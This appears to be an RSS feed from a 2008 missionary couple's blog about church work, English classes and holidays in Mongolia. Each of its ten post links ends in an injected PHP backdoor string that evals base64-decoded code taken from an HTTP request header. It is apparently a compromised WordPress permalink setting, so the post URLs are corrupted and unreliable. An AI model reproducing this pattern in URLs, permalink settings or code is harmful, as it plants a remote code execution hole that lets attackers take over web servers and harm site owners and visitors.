http://www.camamongolia.org/maves Our life in Outer Mongolia Wed, 17 Dec 2008 12:17:20 +0000 http://backend.userland.com/rss092 en   November 26, 2008  was the 10th Anniversary of the Nikdovnihon Church in Darhan.  This is the first church started by the Alliance in Mongolia and is the mother church to many of the other churches in the surrounding area.  Dennis had the privilege of bringing the message ... http://www.camamongolia.org/maves/2008/11/29/10th-anniversary-celebration-at-nikdovnihon-church-in-darhan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   Field Forum 2008 was held at Terelj National Park.  Four new families and a single woman joined our team this summer.  We now have 26 staff and 28 kids.  Our speaker this year was John Kitchen from Stow Ohio.  His wife Julie accompanied him, along with his son Joe ... http://www.camamongolia.org/maves/2008/08/15/field-forum-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/        Dawaa, Pieter Theron, Dennis Maves, Nghia Pham, Jeremy Fields June 16 to 26 the CAMA Mongolia Field Leadership Team made a research trip to the western most aimags of Mongolia, Hovd, Bayan Olgii and Ovs.  Our purpose was to determine ministry opportunities and research the conditions ... http://www.camamongolia.org/maves/2008/06/30/field-leadership-team-to-western-mongolia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ TuyaGerel has completed one half of her studies for a Masters Degree in Educational Leadership.  She returned home to Mongolia for her summer semester break.  It was great to see that she is doing so well in her studies.  It was great for her to reconnect with the church here ... http://www.camamongolia.org/maves/2008/06/15/tuya-returns-to-the-philippines/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ May 20 was the last day of our Spring English Classes.  All students who completed the course were given Certificates of Completion on May 24, 2008.  Both Dennis and I taught this course together every Tuesday night during the spring quarter.  http://www.camamongolia.org/maves/2008/05/26/spring-english-class/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   The Mongolian Lunar New Year is called Tsagaan Sar, or White Moon. This is the most important Mongolian holiday of the year and is a three day national holiday. Tsagaan Sar is a time when Mongolians celebrate together with their family. It is also a time when ... http://www.camamongolia.org/maves/2008/02/12/mongolian-white-moon-celebration/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/   Today for my language class I learned baking terms by baking a cake with my language teacher, Odnoo (on the right) and Bayarmaa (center) our office assistant.  They wanted to learn how to make a carrot cake, so this was a fun lesson with them.  We divided the ... http://www.camamongolia.org/maves/2008/01/22/marilyns-language-class/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/     On Sunday Jan. 13, 2008 we visited our Alliance Church in Northern Mongolia near the Russian boarder.  Tom Alexander from the Central Pacific District Office in the US and John Schmidt the senior Pastor of the Santa Rosa Alliance Church were our guests.  They were here ... http://www.camamongolia.org/maves/2008/01/19/sukhbaatar-church/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We recently had a video team here from our National Headquarters. They produced the following excellent production for our Ministry in Ulaanbaatar. [mavesvideo]lt0ts_D0C4Q[/mavesvideo] http://www.camamongolia.org/maves/2007/12/28/video/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sunday December 23 the youth church in Ulaanbaatar gathered to celebrate Christmas. Dennis had the opportunity to share the meaning of Christmas from God's Word to a packed room of Mongolian College students. A fellowship time followed the service. . http://www.camamongolia.org/maves/2007/12/28/preaching-for-christmas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/